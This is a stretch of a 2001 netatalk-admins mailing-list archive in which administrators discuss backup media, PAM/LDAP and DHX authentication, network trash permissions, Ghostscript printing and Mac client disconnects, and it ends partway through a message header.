          by kingcreole.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 31 Jul 2001 14:23:16 -0000
Received: (qmail 3798 invoked by alias); 31 Jul 2001 14:23:15 -0000
From: "Chris Garrigues" <cwg-dated-c1de45c3c33f2280@deepeddy.com>
Received: (qmail 3769 invoked from network); 31 Jul 2001 14:23:14 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <hwagener@fcb-wilkens.com@fixme>; 31 Jul 2001 14:23:14 -0000
X-Mailer: exmh version 2.2_20000822 06/23/2000 with nmh-1.0.4
To: Harald Wagener <hwagener@fcb-wilkens.com>
Cc: Christian Schmidt <ChriSchmiLi@gmx.de>, netatalk-admins@umich.edu
Subject: Re: Backup Software Question 
In-Reply-To: <3B667086.642BCCA7@fcb-wilkens.com> 
References: <a05100300b78aea8f710d@[192.168.0.33]> <p0431010eb78b791e1ad1@[192.168.2.2]> <28487.996527747@deepeddy.com> <3B667086.642BCCA7@fcb-wilkens.com>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_1960124452P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Tue, 31 Jul 2001 09:23:14 -0500
Message-ID: <3765.996589394@deepeddy.com>
Mail-Reply-To: cwg-dated-c1de45c3c33f2280@DeepEddy.Com

--==_Exmh_1960124452P
Content-Type: text/plain; charset=us-ascii

> From:  Harald Wagener <hwagener@fcb-wilkens.com>
> Date:  Tue, 31 Jul 2001 10:47:02 +0200
>
> Chris Garrigues wrote:
> > 
> > > From:  Christian Schmidt <ChriSchmiLi@gmx.de>
> > > Date:  Mon, 30 Jul 2001 22:52:13 +0200
> 
> [snip]
> > > Well, a backup stored on a HD isn't a real backup IMHO, is it?
> > > What if your backup-HD crashes?
> > 
> > what if your tape becomes unreadable?
> 
> well, too bad, I hope You check Your backups regularly for consitstence and 
> functionality.

I do.  This is easy to do on the RAID array where they live.

> > How is a backup on a hard disk not a backup?
> 
> It's not a _real_ backup. It's a redundant storage with identical points of
> failure. Since hard discs are random access media, they can also be randomly 
> deleted. This is harder with tapes that are handled properly, i.e. stored in a
> fire proof water sealed safe off site. 

It's also harder to do when it's on an off-site RAID array to which the users 
only have read access.  I wouldn't consider it as having identical points of 
failure since it's on a different hard drive using RAID technology instead of 
single drive technology on a different computer system on a different (but 
also secured) network in a different building on a different power grid.

> Secured tapes, even if they are stored in the same room as the machine being
> backed up, are also less affected by power surges or other electrical
> instabilities (as long as the sparks don't fly...). 
> 
> It is also easier to replace the read/write mechanism (i.e., the drive) when using
> a tape backup solution than it is with a hard disk.

Easier than replacing one hot-pluggable drive in a RAID array?

> So, if You take care of Your backups, there is a significant decrease in Your
> chances of losing data. Nothing of this is foolproof, nonetheless.

This is certainly true, but it doesn't have anything to do with whether the 
media is tape or disk.

I just like not having to change tapes every day.  I also like my users being 
able to restore their files through a web interface that I wrote.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



--==_Exmh_1960124452P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7Zr9SK9b4h5R0IUIRAi4bAJ4ypQNMa6wBwPzmMsCNhmDX4J9CCQCdHqyI
VFfRVAqFBVtr6VTUPID3WOg=
=TJxT
-----END PGP SIGNATURE-----

--==_Exmh_1960124452P--

From netatalk.administrators-errors@umich.edu  Tue Jul 31 10:56:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA21919
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 10:56:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA00172
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 10:56:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA00167
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 10:56:55 -0400 (EDT)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA00141
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 10:56:54 -0400 (EDT)
Received: by mail.teleologic.net (Postfix, from userid 2000)
	id DE64E4281A; Tue, 31 Jul 2001 09:56:53 -0500 (CDT)
Date: Tue, 31 Jul 2001 09:56:53 -0500
From: Danny Sauer <dsauer@teleologic.net>
To: netatalk-admins@umich.edu
Subject: Re: Backup Software Question
Message-ID: <20010731095653.B13838@newwww.teleologic.net>
Reply-To: netatalk-admins@umich.edu
References: <a05100300b78aea8f710d@[192.168.0.33]> <p0431010eb78b791e1ad1@[192.168.2.2]> <28487.996527747@deepeddy.com> <3B667086.642BCCA7@fcb-wilkens.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <3B667086.642BCCA7@fcb-wilkens.com>; from hwagener@fcb-wilkens.com on Tue, Jul 31, 2001 at 10:47:02AM +0200
X-Operating-System: Linux 2.4.0-4GB i686
X-Dont-Spam-Me: I might come after you

Harald wrote regarding 'Re: Backup Software Question' on Tue, Jul 31 at 03:56:
> Chris Garrigues wrote:
> > 
> > > From:  Christian Schmidt <ChriSchmiLi@gmx.de>
> > > Date:  Mon, 30 Jul 2001 22:52:13 +0200
> 
> [snip]
> > > Well, a backup stored on a HD isn't a real backup IMHO, is it?
[...]
> > How is a backup on a hard disk not a backup?
> 
> It's not a _real_ backup. It's a redundant storage with identical points of
> failure. Since hard discs are random access media, they can also be randomly 
> deleted. This is harder with tapes that are handled properly, i.e. stored in a
> fire proof water sealed safe off site. 
[...]

I'm using an off-site hard drive with rsync over ssh.  The most recent
web/mail server backup doubles as a can-be-made-live-immediately redundant
server, should the office lose connectivity for any reason (it's not
normally live, for security).  That gets rid of the single point of failure,
and allows the capability to minimize downtime should something bad happen
at the main site.  With enough space on the off-site backup server to hold
a yesterday, last week, and week-before-last backup (on seperate physical
drives), it serves our purpose of making restoration as quick as possible
and storage as easy to maintain as possible without having a single point
of failure.  Every once in a while, CD-R's are burned with the important
stuff (and stored in a firesafe), just in case something takes out the
backup's town *and* ours without killing everyone in our business too. :)

Just another approach that may give someone an idea, but probably not the
best choice for everyone...

BTW, "mount -o remount,rw /backup;backup.sh /backup;mount -o remount,ro /backup" will prevent random deletion. ;)

--Danny

From netatalk.administrators-errors@umich.edu  Tue Jul 31 12:47:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA29333
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 12:47:38 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA26189
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 12:47:38 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA26177
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 12:47:36 -0400 (EDT)
Received: from dali.mudpup.com (mudpuppystudios.com [209.162.213.98])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA26116
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 12:47:35 -0400 (EDT)
Received: from thothy (ansel.mudpup.com [209.162.213.99])
	by dali.mudpup.com (8.11.4/8.11.4) with SMTP id f6VGlR231068;
	Tue, 31 Jul 2001 09:47:27 -0700
From: "Jonathan Newman" <jnewman@mudpup.com>
To: "Harald Wagener" <hwagener@fcb-wilkens.com>,
        "Chris Herrmann" <chris@faredge.com.au>
Cc: <netatalk-admins@umich.edu>
Subject: RE: Reality check on authentication notes
Date: Tue, 31 Jul 2001 09:47:27 -0700
Message-ID: <DOEOLJNEFHJIMCJNCALACEEMFDAA.jnewman@mudpup.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
In-Reply-To: <3B667440.60B292B6@fcb-wilkens.com>
Importance: Normal

Harald Wagener wrote:
> Chris Herrmann wrote:
> >
> > Hi all,
> >
> > I've included most of Thomas' notes in the url below. There's a question
> > still about how authentication works/doesn't work if pam passes
> > authentication off to an ldap server etc. Anyone got any
> experience here?
>
> It can be done. You have to configure pam to use the ldap auth module for
> netatalk,
> and use uams_cleartext.so as uam, since pam passes the password
> to the ldap server
> and needs it in clear text for this.

We use DHX with PAM.  If netatalk is built with pam support and DHX support
you should end up with a symlink from uams_dhx_pam.so to uams_dhx.so.

This should allow dhx authentication through your ldap server (assuming you
configure the PAM settings correctly), without the need for cleartext
passwords.

Jon




From netatalk.administrators-errors@umich.edu  Tue Jul 31 18:37:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA16856
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 18:37:38 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA23568
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 18:37:38 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA23553
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 18:37:37 -0400 (EDT)
Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA23521
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 18:37:36 -0400 (EDT)
Received: from mmp-2.gci.net ([208.138.130.81]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GHD06M03.IOB for
          <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 14:37:34 -0800 
Received: from libranet ([24.237.134.17]) by mmp-2.gci.net
          (Netscape Messaging Server 4.15) with SMTP id GHD06M00.I3S for
          <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 14:37:34 -0800 
Content-Type: text/plain;
  charset="iso-8859-1"
From: Kris Finkenbinder <redbear@redbearnet.com>
Reply-To: redbear@redbearnet.com
To: netatalk-admins@umich.edu
Subject: Passwords and Network Trash
Date: Mon, 30 Jul 2001 14:38:14 -0800
X-Mailer: KMail [version 1.2]
MIME-Version: 1.0
Message-Id: <01073014381400.15553@libranet>
Content-Transfer-Encoding: 8bit


I have two questions. First, the info:

Server is running FreeBSD 4.3, Netatalk 1.5pre6 (package downloaded from 
FreeBSD ports page)

Clients are iMacs (blue) running MacOS 8.6 with AppleShare Client updated to 
3.8.8. 

Users all have their own account on the server (i.e. they don't log in as the 
same user)

In afpd.conf I have listed uams_dhx.so and uams_dhx_passwd.so, nosavepassword 
and the setpassword option. Logging in has worked fine even before updating 
the AppleShare Clients, but the clients cannot change their passwords. I've 
seen mention that using DHX authentication passwords longer than 8 characters 
are supported (just tried it, it works), and a note saying that updating the 
AppleShare Client to 3.8.8 will allow the client to update the password via 
DHX. After updating, still no go. I had thought that perhaps the user needed 
to have a valid shell assigned (rather that /sbin/nologin), but changing it 
to /bin/sh didn't help. 

So, question one: What am I missing? Is there some other extension I need to 
be updating on the iMacs, or something I need to change in the config files 
on the server? Is there some preference file on the iMacs that needs to be 
trashed so it can properly use the new update? 

Question two is about the Network Trash Folder. Apparently I skirted this 
issue the first time I set up a Netatalk server because I had everyone log in 
as the same user (3 person office) to avoid permissions issues. Thus the 
trash worked for everyone. Now, we're doing things "properly" and everyone 
has their own account. Thus, as it says on the new Netatalk FAQ site, the 
Network Trash Folder works (and is properly invisible) for the first person 
who uses it. All subsequent users can see the Network Trash (when it should 
be invisible) and cannot use it. I've tried all variations of permissions 
including setting the sticky, suid and sgid bits on the Network Trash Folder. 
Nothing seemed to help. 

So, question two: Does anyone know of a fix for this yet? The faredge 
Netatalk FAQ site seems to be down at the moment, so I can't check for 
updates there, and I've seen no solutions either here or on the SourceForge 
Netatalk forums. Does anyone know if there has been some change? 

Thanks all, and have a great day. 

--Kris Finkenbinder
redbear at redbearnet dot com


From netatalk.administrators-errors@umich.edu  Tue Jul 31 19:44:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA19429
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 19:44:18 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA02985
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 19:44:04 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA02969
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 19:44:04 -0400 (EDT)
Received: from mta04.mail.mel.aone.net.au (mta04.mail.au.uu.net [203.2.192.84])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA02740
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 19:43:56 -0400 (EDT)
Received: from faxserver ([63.34.218.85]) by mta04.mail.mel.aone.net.au
          with ESMTP
          id <20010731234406.HWOJ12944.mta04.mail.mel.aone.net.au@faxserver>;
          Wed, 1 Aug 2001 09:44:06 +1000
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15RjA4-0000Qj-00; Wed, 01 Aug 2001 09:42:52 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 01 Aug 2001 09:42:52 +1000
Subject: Re: setting up ghostscript 
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: Jerome Cintas <jcintas@iprimus.com.au>,
        netatalk <netatalk-admins@umich.edu>
Message-ID: <B78D7F9C.2340%editor.ac@churchesofchrist.org.au>
In-Reply-To: <006701c1199a$641d8a00$070101df@onlineperspective.com>
Mime-version: 1.0
Content-type: multipart/alternative;
   boundary="MS_Mac_OE_3079503772_113186_MIME_Part"

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--MS_Mac_OE_3079503772_113186_MIME_Part
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

We use lprng, with magicfilter (which uses gs for some of its translations).
Thus all we had to do was provide postscript input to the linux box and the
lprng settings took care of converting the postscript to whatever output was
necessary. All I had to do was set up netatalk to send the print job to
lprng.

HTH
Nigel

From: "Jerome Cintas" <jcintas@iprimus.com.au>
Date: Tue, 31 Jul 2001 18:25:42 +1000
To: "Netatalk Admins" <netatalk-admins@umich.edu>
Subject: setting up ghostscript
Resent-From: netatalk-admins@umich.edu
Resent-Date: Tue, 31 Jul 2001 04:38:02 -0400 (EDT)

Hi all,
 
in the process of setting up an Epson Photo EX printer locally connected to
my linux box,
i successfully setup netatalk for file share access with my mac, and have
the printer working fine fro linux.
 
now to setup the printer to print from the mac, i keep having trouble
setting up the filter for the queue to use ghostscript.
 
there is a an info page with the following link:
http://artoo.hitchcock.org/~flowerpt/projects/linux-netatalk/ghostscript.htm
l
but doesn't seem to be up.
can anyone give me alink or info on how to setup my filter for ghostscript ?



--MS_Mac_OE_3079503772_113186_MIME_Part
Content-type: text/html; charset="US-ASCII"
Content-transfer-encoding: quoted-printable

<HTML>
<HEAD>
<TITLE>Re: setting up ghostscript </TITLE>
</HEAD>
<BODY BGCOLOR=3D"#F0ECE0">
We use lprng, with magicfilter (which uses gs for some of its translations)=
. Thus all we had to do was provide postscript input to the linux box and th=
e lprng settings took care of converting the postscript to whatever output w=
as necessary. All I had to do was set up netatalk to send the print job to l=
prng.<BR>
<BR>
HTH<BR>
Nigel<BR>
<BLOCKQUOTE><BR>
<B>From: </B>&quot;Jerome Cintas&quot; &lt;jcintas@iprimus.com.au&gt;<BR>
<B>Date: </B>Tue, 31 Jul 2001 18:25:42 +1000<BR>
<B>To: </B>&quot;Netatalk Admins&quot; &lt;netatalk-admins@umich.edu&gt;<BR=
>
<B>Subject: </B>setting up ghostscript <BR>
<B>Resent-From: </B>netatalk-admins@umich.edu<BR>
<B>Resent-Date: </B>Tue, 31 Jul 2001 04:38:02 -0400 (EDT)<BR>
<BR>
<FONT SIZE=3D"2"><FONT FACE=3D"Arial">Hi all,<BR>
</FONT></FONT> <BR>
<FONT SIZE=3D"2"><FONT FACE=3D"Arial">in the process of setting up an Epson Pho=
to EX printer locally connected to my linux box,<BR>
i successfully setup netatalk for file share access with my mac, and have t=
he printer working fine fro linux.<BR>
</FONT></FONT> <BR>
<FONT SIZE=3D"2"><FONT FACE=3D"Arial">now to setup the printer to print from th=
e mac, i keep having trouble setting up the filter for the queue to use ghos=
tscript.<BR>
</FONT></FONT> <BR>
<FONT SIZE=3D"2"><FONT FACE=3D"Arial">there is a an info page with the followin=
g link:<BR>
<FONT COLOR=3D"#0000FF"><U>http://artoo.hitchcock.org/~flowerpt/projects/linu=
x-netatalk/ghostscript.html<BR>
</U></FONT>but doesn't seem to be up.<BR>
can anyone give me alink or info on how to setup my filter for ghostscript =
?<BR>
</FONT></FONT></BLOCKQUOTE><BR>
</BODY>
</HTML>


--MS_Mac_OE_3079503772_113186_MIME_Part--


From netatalk.administrators-errors@umich.edu  Tue Jul 31 23:01:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA26115
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 31 Jul 2001 23:01:03 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id XAA26748
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 31 Jul 2001 23:01:03 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA26730
	for netatalk.administrators-members@umich.edu; Tue, 31 Jul 2001 23:01:02 -0400 (EDT)
Received: from pobox.thezit.com ([206.135.44.121])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA26665
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 23:01:01 -0400 (EDT)
Received: from pobox.thezit.com (IDENT:jeff@pobox.thezit.com [206.135.44.120])
	by pobox.thezit.com (8.11.1/8.11.1) with ESMTP id f71210J14770
	for <netatalk-admins@umich.edu>; Tue, 31 Jul 2001 19:01:00 -0700
Date: Tue, 31 Jul 2001 19:01:00 -0700 (PDT)
From: Jeff Masud <jeff@sudjam.com>
X-Sender: jeff@pobox.thezit.com
To: netatalk-admins@umich.edu
Subject: netatalk search volume
Message-ID: <Pine.LNX.4.21.0107311853110.14146-100000@pobox.thezit.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I'm having a couple of issues with our netatalk server, maybe someone can
give ideas.  

1. We are unable to search a 100GB volume, it gos and goes and goes... for
about 5 mins and the returns an error.  Is there any way to index the
server like how Watson index the local drive for faster searching?  

2. When I go to use Retrospect to backup the file server remotely,
Retrospect 4.3 will index the server display a list but as it starts to
run will return an error "Too many files open (-43)".   The server is
running a RAID but it's really import we can do DLT backups to archive old
projects.

thanks for any suggestions.

Jeff


From netatalk.administrators-errors@umich.edu  Wed Aug  1 02:52:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA04345
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 02:52:30 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id CAA04762
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 02:52:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA04738
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 02:52:16 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA04692
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 02:52:14 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id JAA17353;
	Wed, 1 Aug 2001 09:08:28 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 01 Aug 2001 08:54:23 +0200
Subject: Re: netatalk search volume
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Jeff Masud <jeff@sudjam.com>, <netatalk-admins@umich.edu>
Message-ID: <B78D743D.F376%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.LNX.4.21.0107311853110.14146-100000@pobox.thezit.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Tue, 31 Jul 2001 19:01:00 -0700 (PDT), Jeff Masud wrote:

> I'm having a couple of issues with our netatalk server, maybe someone can
> give ideas.  

Please supply Netatalk version and the os you use.
 
> 1. We are unable to search a 100GB volume, it gos and goes and goes... for
> about 5 mins and the returns an error.  Is there any way to index the
> server like how Watson index the local drive for faster searching?

Since AFP 2.1 (if I remember correctly) there exists a feature called
FPCatSearch. If a Mac mounts a servers volume it gets the information
whether this volume will support FPCatSearch or not.

If it supports FPCatSearch then the clients search criteria will be passed
to the afp server and will be answered by him from information stored in a
volume database.

AFAIK, Netatalk doesn't support FPCatSearch at the moment, so your clients
finder have to run through the whole volume on its own, to search for files
matching your search criteria.
 
> 2. When I go to use Retrospect to backup the file server remotely,
> Retrospect 4.3 will index the server display a list but as it starts to
> run will return an error "Too many files open (-43)".

Under which MacOS version are you running Retrospect? There are some issues
with versions before MacOS 9.x and running out of file handles. Check it
with the ListOpenFiles Utility: <http://www.alsoft.com/AskAl/download.html>

I don't know if it has something to do with the way, RetroSpect tries to
check what to backup. With Helios EtherShare you can support a switch
"nofakeoffspring" when trying to backup from a Mac. This prevents RetroSpect
from giving up before backupping when your volume is full of folders.

There were some problems reported on volumes with a lot of files with custom
icons.

> The server is running a RAID but it's really import we can do DLT backups to
> archive old projects.

... and maybe to backup recent projects too? ;-)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Aug  1 04:12:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA05877
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 04:12:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA17907
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 04:12:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA17885
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 04:12:24 -0400 (EDT)
Received: from keen.co.it (62-122-2-135.flat.galactica.it [62.122.2.135])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA17813
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 04:12:22 -0400 (EDT)
Received: from RENATO (client2 [192.168.1.21])
	by keen.co.it (8.9.3/8.9.3) with SMTP id KAA24825
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 10:17:37 +0200
Message-ID: <004c01c11a61$b5d80e70$1501a8c0@RENATO>
From: "Keen srl" <renato@keen.co.it>
To: <netatalk-admins@umich.edu>
Subject: disconnect from server
Date: Wed, 1 Aug 2001 10:12:29 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0049_01C11A72.78DD5690"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

This is a multi-part message in MIME format.

------=_NextPart_000_0049_01C11A72.78DD5690
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,
i have a problem, using   RED HAT LINUX  KERNEL 2.2.14-5.0 A and =
NETATALK-1.4B2+ASUN 2.1.3-7. my clients (mac os 9.1) disconnect from the =
server many times during the day they use freehand, photoshop, xpress. =
Reading the mail archive i found many things about this problem, but =
nothing this year. Do someone can sudgest somethings that can resolve =
the problem?
Please help me, the people in the office want to switch to Windows 2000. =
I'm trying to resist, but i risk all the day.

thank you in advance

Renato Pontefice

------=_NextPart_000_0049_01C11A72.78DD5690
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#c8e0d8>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>i have a problem, using&nbsp;&nbsp; RED =
HAT=20
LINUX&nbsp; KERNEL 2.2.14-5.0 A and NETATALK-1.4B2+ASUN 2.1.3-7. my =
clients (mac=20
os 9.1) disconnect from the server many times during the day they use =
freehand,=20
photoshop, xpress. Reading the mail archive i found many things about =
this=20
problem, but nothing this year. Do someone can sudgest somethings that =
can=20
resolve the problem?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Please help me, the people in the =
office want to=20
switch to Windows 2000. I'm trying to resist, but i risk all the=20
day.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thank you in advance</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Renato =
Pontefice</FONT></DIV></BODY></HTML>

------=_NextPart_000_0049_01C11A72.78DD5690--


From netatalk.administrators-errors@umich.edu  Wed Aug  1 04:20:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA06301
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 1 Aug 2001 04:20:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA02090
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 1 Aug 2001 04:20:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA02066
	for netatalk.administrators-members@umich.edu; Wed, 1 Aug 2001 04:20:49 -0400 (EDT)
Received: from hammail1.truenorth.com (h-213.61.138.102.host.de.colt.net [213.61.138.102])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA02014
	for <netatalk-admins@umich.edu>; Wed, 1 Aug 2001 04:20:48 -0400 (EDT)
Received: from fcb-wilkens.com ([170.200.66.15]) by
          hammail1.truenorth.com (Netscape Messaging Server 4.15) with
          ESMTP id GHDR6L00.FAQ for <netatalk-admins@umich.edu>; Wed, 1
          Aug 2001 10:20:45 +0200 
Sender: hollow@kingcreole.mr.itd.umich.edu
Message-ID: <3B67BBDD.6D8085A4@fcb-wilkens.com>
Date: Wed, 01 Aug 2001 10:20:45 +0200
From: Harald Wagener <hwagener@fcb-wilkens.com>
Organization: FCB Wilkens
